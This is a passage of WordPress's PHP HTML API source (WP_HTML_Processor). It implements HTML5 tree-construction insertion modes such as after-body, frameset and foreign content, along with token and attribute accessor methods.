				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "td", "th"
			 */
			case '+TD':
			case '+TH':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $is_closer ) {
			array_pop( $this->state->stack_of_template_insertion_modes );
			$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > An end-of-file token
		 */
		if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
			// Stop parsing.
			return false;
		}

		// @todo Indicate a parse error once it's possible.
		$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		array_pop( $this->state->stack_of_template_insertion_modes );
		$this->reset_insertion_mode_appropriately();
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after body' insertion mode.
	 *
	 * This internal function performs the 'after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_body_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of BODY is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 *
			 * > If the parser was created as part of the HTML fragment parsing algorithm,
			 * > this is a parse error; ignore the token. (fragment case)
			 * >
			 * > Otherwise, switch the insertion mode to "after after body".
			 */
			case '-HTML':
				if ( isset( $this->context_node ) ) {
					return $this->step();
				}

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in frameset' insertion mode.
	 *
	 * This internal function performs the 'in frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in frameset.' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "frameset"
			 */
			case '-FRAMESET':
				/*
				 * > If the current node is the root html element, then this is a parse error;
				 * > ignore the token. (fragment case)
				 */
				if ( $this->state->stack_of_open_elements->current_node_is( 'HTML' ) ) {
					return $this->step();
				}

				/*
				 * > Otherwise, pop the current node from the stack of open elements.
				 */
				$this->state->stack_of_open_elements->pop();

				/*
				 * > If the parser was not created as part of the HTML fragment parsing algorithm
				 * > (fragment case), and the current node is no longer a frameset element, then
				 * > switch the insertion mode to "after frameset".
				 */
				if ( ! isset( $this->context_node ) && ! $this->state->stack_of_open_elements->current_node_is( 'FRAMESET' ) ) {
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET;
				}

				return true;

			/*
			 * > A start tag whose tag name is "frame"
			 *
			 * > Insert an HTML element for the token. Immediately pop the
			 * > current node off the stack of open elements.
			 * >
			 * > Acknowledge the token's self-closing flag, if it is set.
			 */
			case '+FRAME':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after frameset' insertion mode.
	 *
	 * This internal function performs the 'after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after frameset' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after after body' insertion mode.
	 *
	 * This internal function performs the 'after after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-body-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_after_body_anything_else;
				break;
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after after frameset' insertion mode.
	 *
	 * This internal function performs the 'after after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-frameset-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after after frameset.' );
				break;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'in foreign content' insertion mode.
	 *
	 * This internal function performs the 'in foreign content' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inforeign
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_foreign_content(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		/*
		 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
		 *
		 * This section drawn out above the switch to more easily incorporate
		 * the additional rules based on the presence of the attributes.
		 */
		if (
			'+FONT' === $op &&
			(
				null !== $this->get_attribute( 'color' ) ||
				null !== $this->get_attribute( 'face' ) ||
				null !== $this->get_attribute( 'size' )
			)
		) {
			$op = '+FONT with attributes';
		}

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * This is handled by `get_modifiable_text()`.
				 */

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * CDATA sections are alternate wrappers for text content and therefore
			 * ought to follow the same rules as text nodes.
			 */
			case '#cdata-section':
				/*
				 * NULL bytes and whitespace do not change the frameset-ok flag.
				 */
				$current_token        = $this->bookmarks[ $this->state->current_token->bookmark_name ];
				$cdata_content_start  = $current_token->start + 9;
				$cdata_content_length = $current_token->length - 12;
				if ( strspn( $this->html, "\0 \t\n\f\r", $cdata_content_start, $cdata_content_length ) !== $cdata_content_length ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "b", "big", "blockquote", "body", "br", "center",
			 * > "code", "dd", "div", "dl", "dt", "em", "embed", "h1", "h2", "h3", "h4", "h5",
			 * > "h6", "head", "hr", "i", "img", "li", "listing", "menu", "meta", "nobr", "ol",
			 * > "p", "pre", "ruby", "s", "small", "span", "strong", "strike", "sub", "sup",
			 * > "table", "tt", "u", "ul", "var"
			 *
			 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
			 *
			 * > An end tag whose tag name is "br", "p"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '+B':
			case '+BIG':
			case '+BLOCKQUOTE':
			case '+BODY':
			case '+BR':
			case '+CENTER':
			case '+CODE':
			case '+DD':
			case '+DIV':
			case '+DL':
			case '+DT':
			case '+EM':
			case '+EMBED':
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
			case '+HEAD':
			case '+HR':
			case '+I':
			case '+IMG':
			case '+LI':
			case '+LISTING':
			case '+MENU':
			case '+META':
			case '+NOBR':
			case '+OL':
			case '+P':
			case '+PRE':
			case '+RUBY':
			case '+S':
			case '+SMALL':
			case '+SPAN':
			case '+STRONG':
			case '+STRIKE':
			case '+SUB':
			case '+SUP':
			case '+TABLE':
			case '+TT':
			case '+U':
			case '+UL':
			case '+VAR':
			case '+FONT with attributes':
			case '-BR':
			case '-P':
				// @todo Indicate a parse error once it's possible.
				foreach ( $this->state->stack_of_open_elements->walk_up() as $current_node ) {
					if (
						'math' === $current_node->integration_node_type ||
						'html' === $current_node->integration_node_type ||
						'html' === $current_node->namespace
					) {
						break;
					}

					$this->state->stack_of_open_elements->pop();
				}
				goto in_foreign_content_process_in_current_insertion_mode;
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $this->is_tag_closer() ) {
			$this->insert_foreign_element( $this->state->current_token, false );

			/*
			 * > If the token has its self-closing flag set, then run
			 * > the appropriate steps from the following list:
			 * >
			 * >   ↪ the token's tag name is "script", and the new current node is in the SVG namespace
			 * >         Acknowledge the token's self-closing flag, and then act as
			 * >         described in the steps for a "script" end tag below.
			 * >
			 * >   ↪ Otherwise
			 * >         Pop the current node off the stack of open elements and
			 * >         acknowledge the token's self-closing flag.
			 *
			 * Since the rules for SCRIPT below indicate to pop the element off of the stack of
			 * open elements, which is the same for the Otherwise condition, there's no need to
			 * separate these checks. The difference comes when a parser operates with the scripting
			 * flag enabled, and executes the script, which this parser does not support.
			 */
			if ( $this->state->current_token->has_self_closing_flag ) {
				$this->state->stack_of_open_elements->pop();
			}
			return true;
		}

		/*
		 * > An end tag whose name is "script", if the current node is an SVG script element.
		 */
		if ( $this->is_tag_closer() && 'SCRIPT' === $this->state->current_token->node_name && 'svg' === $this->state->current_token->namespace ) {
			$this->state->stack_of_open_elements->pop();
			return true;
		}

		/*
		 * > Any other end tag
		 */
		if ( $this->is_tag_closer() ) {
			$node = $this->state->stack_of_open_elements->current_node();
			if ( $tag_name !== $node->node_name ) {
				// @todo Indicate a parse error once it's possible.
			}
			in_foreign_content_end_tag_loop:
			if ( $node === $this->state->stack_of_open_elements->at( 1 ) ) {
				return true;
			}

			/*
			 * > If node's tag name, converted to ASCII lowercase, is the same as the tag name
			 * > of the token, pop elements from the stack of open elements until node has
			 * > been popped from the stack, and then return.
			 */
			if ( 0 === strcasecmp( $node->node_name, $tag_name ) ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();
					if ( $node === $item ) {
						return true;
					}
				}
			}

			foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
				$node = $item;
				break;
			}

			if ( 'html' !== $node->namespace ) {
				goto in_foreign_content_end_tag_loop;
			}

			in_foreign_content_process_in_current_insertion_mode:
			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		}

		$this->bail( 'Should not have been able to reach end of IN FOREIGN CONTENT processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/*
	 * Internal helpers
	 */

	/**
	 * Creates a new bookmark for the currently-matched token and returns the generated name.
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Renamed from bookmark_tag() to bookmark_token().
	 *
	 * @throws Exception When unable to allocate requested bookmark.
	 *
	 * @return string|false Name of created bookmark, or false if unable to create.
	 */
	private function bookmark_token() {
		if ( ! parent::set_bookmark( ++$this->bookmark_counter ) ) {
			$this->last_error = self::ERROR_EXCEEDED_MAX_BOOKMARKS;
			throw new Exception( 'could not allocate bookmark' );
		}

		return "{$this->bookmark_counter}";
	}

	/*
	 * HTML semantic overrides for Tag Processor
	 */

	/**
	 * Indicates the namespace of the current token, or "html" if there is none.
	 *
	 * @return string One of "html", "math", or "svg".
	 */
	public function get_namespace(): string {
		if ( ! isset( $this->current_element ) ) {
			return parent::get_namespace();
		}

		return $this->current_element->token->namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * The semantic rules for HTML specify that certain tags be reprocessed
	 * with a different tag name. Because of this, the tag name presented
	 * by the HTML Processor may differ from the one reported by the HTML
	 * Tag Processor, which doesn't apply these semantic rules.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $processor->next_tag() === true;
	 *     $processor->get_tag() === 'DIV';
	 *
	 *     $processor->next_tag() === false;
	 *     $processor->get_tag() === null;
	 *
	 * @since 6.4.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null !== $this->last_error ) {
			return null;
		}

		if ( $this->is_virtual() ) {
			return $this->current_element->token->node_name;
		}

		$tag_name = parent::get_tag();

		/*
		 * > A start tag whose tag name is "image"
		 * > Change the token's tag name to "img" and reprocess it. (Don't ask.)
		 */
		return ( 'IMAGE' === $tag_name && 'html' === $this->get_namespace() )
			? 'IMG'
			: $tag_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		return $this->is_virtual() ? false : parent::has_self_closing_flag();
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		return $this->is_virtual()
			? $this->current_element->token->node_name
			: parent::get_token_name();
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		if ( $this->is_virtual() ) {
			/*
			 * This logic comes from the Tag Processor.
			 *
			 * @todo It would be ideal not to repeat this here, but it's not clearly
			 *       better to allow passing a token name to `get_token_type()`.
			 */
			$node_name     = $this->current_element->token->node_name;
			$starting_char = $node_name[0];
			if ( 'A' <= $starting_char && 'Z' >= $starting_char ) {
				return '#tag';
			}

			if ( 'html' === $node_name ) {
				return '#doctype';
			}

			return $node_name;
		}

		return parent::get_token_type();
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_token() === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		return $this->is_virtual() ? null : parent::get_attribute( $name );
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		return $this->is_virtual() ? false : parent::set_attribute( $name, $value );
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		return $this->is_virtual() ? false : parent::remove_attribute( $name );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
